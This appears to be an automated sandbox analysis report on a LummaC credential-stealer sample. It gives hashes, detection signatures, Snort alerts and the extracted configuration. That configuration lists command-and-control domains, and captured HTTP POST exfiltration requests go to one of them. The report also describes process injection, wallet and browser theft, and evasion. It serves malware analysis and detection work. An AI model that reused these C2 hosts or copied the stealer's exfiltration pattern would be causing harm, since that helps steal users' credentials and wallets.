Edit tour

Windows Analysis Report
SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

Overview

General Information

Sample name:	SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe
Analysis ID:	1428542
MD5:	c60f5fa3a579bca2c8c377f7e15b2221
SHA1:	d44b5c6dd64284f00d6f9d05cf5327a91cad9339
SHA256:	f5913e753281dbdf88f36c73d13afbf4af62046e25f8e148e87a80e88818c4d7
Tags:	exe
Infos:

Detection

LummaC

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Found malware configuration

Multi AV Scanner detection for domain / URL

Multi AV Scanner detection for submitted file

Snort IDS alert for network traffic

Yara detected LummaC Stealer

.NET source code contains very large array initializations

Allocates memory in foreign processes

C2 URLs / IPs found in malware configuration

Contains functionality to inject code into remote processes

Found many strings related to Crypto-Wallets (likely being stolen)

Injects a PE file into a foreign processes

LummaC encrypted strings found

Machine Learning detection for sample

Query firmware table information (likely to detect VMs)

Sample uses string decryption to hide its real strings

Tries to harvest and steal browser information (history, passwords, etc)

Tries to steal Crypto Currency Wallets

Writes to foreign memory regions

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Binary contains a suspicious time stamp

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to read the clipboard data

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Detected potential crypto function

Found inlined nop instructions (likely shell or obfuscated code)

Found potential string decryption / allocating functions

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Queries the volume information (name, serial number etc) of a device

Sample file is different than original file name gathered from version info

Searches for user specific document files

Uses Microsoft's Enhanced Cryptographic Provider

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe (PID: 2832 cmdline: "C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe" MD5: C60F5FA3A579BCA2C8C377F7E15B2221)

RegAsm.exe (PID: 6796 cmdline: "C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe" MD5: 0D5DF43AF2916F47D00C1573797C1A13)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://darktrace.com/blog/the-rise-of-the-lumma-info-stealer https://g0njxa.medium.com/approaching-stealers-devs-a-brief-interview-with-lummac2-94111d4b1e11	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Malware Configuration

Threatname: LummaC

{"C2 url": ["wifeplasterbakewis.shop", "mealplayerpreceodsju.shop", "bordersoarmanusjuw.shop", "suitcaseacanehalk.shop", "absentconvicsjawun.shop", "pushjellysingeywus.shop", "economicscreateojsu.shop", "entitlementappwo.shop", "bordersoarmanusjuw.shop"], "Build id": "H8NgCl--"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author	Strings
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Memory Dumps

Source	Rule	Description	Author
Process Memory Space: RegAsm.exe PID: 6796	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: RegAsm.exe PID: 6796	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
decrypted.memstr	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Snort Signatures

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.8 - Destination IP: 172.67.189.66

Timestamp:	04/19/24-07:22:32.232365
SID:	2052042
Source Port:	49710
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.8 - Destination IP: 172.67.189.66

Timestamp:	04/19/24-07:22:35.788931
SID:	2052042
Source Port:	49714
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.8 - Destination IP: 172.67.189.66

Timestamp:	04/19/24-07:22:32.893467
SID:	2052042
Source Port:	49711
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (bordersoarmanusjuw .shop) - Source IP: 192.168.2.8 - Destination IP: 1.1.1.1

Timestamp:	04/19/24-07:22:29.715929
SID:	2052033
Source Port:	63633
Destination Port:	53
Protocol:	UDP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.8 - Destination IP: 172.67.189.66

Timestamp:	04/19/24-07:22:29.839072
SID:	2052042
Source Port:	49707
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.8 - Destination IP: 172.67.189.66

Timestamp:	04/19/24-07:22:33.773056
SID:	2052042
Source Port:	49712
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.8 - Destination IP: 172.67.189.66

Timestamp:	04/19/24-07:22:30.612609
SID:	2052042
Source Port:	49708
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.8 - Destination IP: 172.67.189.66

Timestamp:	04/19/24-07:22:31.428591
SID:	2052042
Source Port:	49709
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) - Source IP: 192.168.2.8 - Destination IP: 172.67.189.66

Timestamp:	04/19/24-07:22:34.565358
SID:	2052042
Source Port:	49713
Destination Port:	443
Protocol:	TCP
Classtype:	A Network Trojan was detected

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Antivirus / Scanner detection for submitted sample

Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

Avira: detected

Found malware configuration

Source: 1.2.RegAsm.exe.400000.0.raw.unpack

Malware Configuration Extractor: LummaC {"C2 url": ["wifeplasterbakewis.shop", "mealplayerpreceodsju.shop", "bordersoarmanusjuw.shop", "suitcaseacanehalk.shop", "absentconvicsjawun.shop", "pushjellysingeywus.shop", "economicscreateojsu.shop", "entitlementappwo.shop", "bordersoarmanusjuw.shop"], "Build id": "H8NgCl--"}

Multi AV Scanner detection for domain / URL

Source: https://bordersoarmanusjuw.shop/	Virustotal: Detection: 16%	Perma Link
Source: https://bordersoarmanusjuw.shop/api	Virustotal: Detection: 16%	Perma Link
Source: entitlementappwo.shop	Virustotal: Detection: 17%	Perma Link
Source: mealplayerpreceodsju.shop	Virustotal: Detection: 18%	Perma Link
Source: economicscreateojsu.shop	Virustotal: Detection: 13%	Perma Link

Multi AV Scanner detection for submitted file

Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	ReversingLabs: Detection: 73%
Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Virustotal: Detection: 76%			Perma Link

Machine Learning detection for sample

Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

Joe Sandbox ML: detected

Sample uses string decryption to hide its real strings

Source: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: wifeplasterbakewis.shop
Source: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: mealplayerpreceodsju.shop
Source: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: bordersoarmanusjuw.shop
Source: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: suitcaseacanehalk.shop
Source: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: absentconvicsjawun.shop
Source: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: pushjellysingeywus.shop
Source: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: economicscreateojsu.shop
Source: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: entitlementappwo.shop
Source: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: bordersoarmanusjuw.shop
Source: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: lid=%s&j=%s&ver=4.0
Source: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: TeslaBrowser/5.5
Source: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Screen Resoluton:
Source: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: - Physical Installed Memory:
Source: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: Workgroup: -
Source: 00000001.00000002.1627791158.0000000000400000.00000040.00000400.00020000.00000000.sdmp	String decryptor: H8NgCl--

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_00415B57 CryptUnprotectData,

1_2_00415B57

Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.8:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.8:49714 version: TLS 1.2

Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

Static PE information: HIGH_ENTROPY_VA, DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:	Binary string: C:\ka7c6p6\obj\Release\Question.pdbT2n2 `2_CorExeMainmscoree.dll source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe
Source:	Binary string: C:\ka7c6p6\obj\Release\Question.pdb source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	1_2_00417239
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+00000080h]	1_2_004212B0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi]	1_2_00415390
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then inc ebx	1_2_00421670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+08h]	1_2_0043B800
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+0Ch]	1_2_00435ACB
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov eax, dword ptr [esp+10h]	1_2_00409D20
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+0Ch]	1_2_0043AE30
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [edi+esi*8], 18DC7455h	1_2_00421F80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	1_2_0041403B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then test edi, edi	1_2_0043A0D9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx ebx, byte ptr [edx]	1_2_00432140
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+18h]	1_2_0041D128
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esi+000001C0h]	1_2_00424240
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	1_2_00415216
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+04h]	1_2_0043822F
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movsx ecx, byte ptr [esi+eax]	1_2_0040D2C0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], dx	1_2_0041B2A0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then xor eax, eax	1_2_00439461
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov edx, dword ptr [esp+0Ch]	1_2_0043B470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+000000F0h]	1_2_0041347E
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+04h]	1_2_004384D6
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then movzx edx, byte ptr [esi+edi]	1_2_004025E0
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then jmp ecx	1_2_00416582
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then inc ebx	1_2_004216CE
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then not ecx	1_2_004176E1
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp dword ptr [ebx+edi*8], 0AB35B01h	1_2_00413722
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+00000180h]	1_2_00411739
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+10h]	1_2_0040F7CD
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then cmp word ptr [esi+edi+02h], 0000h	1_2_0041B930
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_0043799B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esp+10h]	1_2_00416A62
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+70h]	1_2_00417A78
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edx], al	1_2_00422B54
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [edx], al	1_2_00422B70
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov word ptr [eax], cx	1_2_00417BF5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+000008A0h]	1_2_0041FBB5
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esi+00000600h], 00000000h	1_2_00410C5B
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov byte ptr [ecx], al	1_2_00416E69
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then push edi	1_2_0040FED9
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov dword ptr [esi+00000600h], 00000000h	1_2_00410F4D
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then inc ebx	1_2_00414F10
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 4x nop then mov ecx, dword ptr [esi+000008A0h]	1_2_0041EF19

Networking

Snort IDS alert for network traffic

Source: Traffic	Snort IDS: 2052033 ET TROJAN Lumma Stealer Related CnC Domain in DNS Lookup (bordersoarmanusjuw .shop) 192.168.2.8:63633 -> 1.1.1.1:53
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.8:49707 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.8:49708 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.8:49709 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.8:49710 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.8:49711 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.8:49712 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.8:49713 -> 172.67.189.66:443
Source: Traffic	Snort IDS: 2052042 ET TROJAN Observed Lumma Stealer Related Domain (bordersoarmanusjuw .shop in TLS SNI) 192.168.2.8:49714 -> 172.67.189.66:443

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor	URLs: wifeplasterbakewis.shop
Source: Malware configuration extractor	URLs: mealplayerpreceodsju.shop
Source: Malware configuration extractor	URLs: bordersoarmanusjuw.shop
Source: Malware configuration extractor	URLs: suitcaseacanehalk.shop
Source: Malware configuration extractor	URLs: absentconvicsjawun.shop
Source: Malware configuration extractor	URLs: pushjellysingeywus.shop
Source: Malware configuration extractor	URLs: economicscreateojsu.shop
Source: Malware configuration extractor	URLs: entitlementappwo.shop
Source: Malware configuration extractor	URLs: bordersoarmanusjuw.shop

Source: Joe Sandbox View

ASN Name: CLOUDFLARENETUS CLOUDFLARENETUS

Source: Joe Sandbox View

JA3 fingerprint: a0e9f5d64349fb13191bc781f81f42e1

Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 49Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 12841Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 15070Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 20237Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 5437Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 1338Host: bordersoarmanusjuw.shop
Source: global traffic	HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: multipart/form-data; boundary=be85de5ipdocierre1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 569033Host: bordersoarmanusjuw.shop

Source: unknown

UDP traffic detected without corresponding DNS query: 1.1.1.1

Source: unknown

DNS traffic detected: queries for: bordersoarmanusjuw.shop

Source: unknown

HTTP traffic detected: POST /api HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36Content-Length: 8Host: bordersoarmanusjuw.shop

Source: RegAsm.exe, 00000001.00000002.1628176324.0000000001194000.00000004.00000020.00020000.00000000.sdmp, RegAsm.exe, 00000001.00000002.1628492240.00000000011DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop/
Source: RegAsm.exe, 00000001.00000002.1628176324.0000000001194000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop/J
Source: RegAsm.exe, 00000001.00000002.1628492240.00000000011DB000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop/api
Source: RegAsm.exe, 00000001.00000002.1628176324.0000000001141000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://bordersoarmanusjuw.shop/apist

Source: unknown	Network traffic detected: HTTP traffic on port 49708 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49711
Source: unknown	Network traffic detected: HTTP traffic on port 49709 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49710 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49710
Source: unknown	Network traffic detected: HTTP traffic on port 49707 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49712 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49709
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49708
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49707
Source: unknown	Network traffic detected: HTTP traffic on port 49713 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49714 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49714
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49713
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49712

Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.8:49707 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.8:49708 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.8:49709 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.8:49710 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.8:49711 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.8:49712 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.8:49713 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 172.67.189.66:443 -> 192.168.2.8:49714 version: TLS 1.2

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0042DDE0 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

1_2_0042DDE0

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Code function: 1_2_0042DDE0 GetWindowInfo,OpenClipboard,GetClipboardData,GlobalLock,GlobalUnlock,CloseClipboard,

1_2_0042DDE0

System Summary

.NET source code contains very large array initializations

Source: SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe, RemoteObjects.cs

Large array initialization: RemoteObjects: array initializer size 307200

Source: C:\Users\user\Desktop\SecuriteInfo.com.Trojan.PWS.Steam.37210.2413.24955.exe	Code function: 0_2_00D80A31	0_2_00D80A31
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00425183	1_2_00425183
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00421670	1_2_00421670
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00415B57	1_2_00415B57
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00404C40	1_2_00404C40
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00421F80	1_2_00421F80
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00410060	1_2_00410060
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00401000	1_2_00401000
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0041D128	1_2_0041D128
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0043B130	1_2_0043B130
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00408250	1_2_00408250
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00404260	1_2_00404260
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00403370	1_2_00403370
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_0043B470	1_2_0043B470
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00436480	1_2_00436480
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_00406610	1_2_00406610
Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe	Code function: 1_2_004216CE	1_2_004216CE
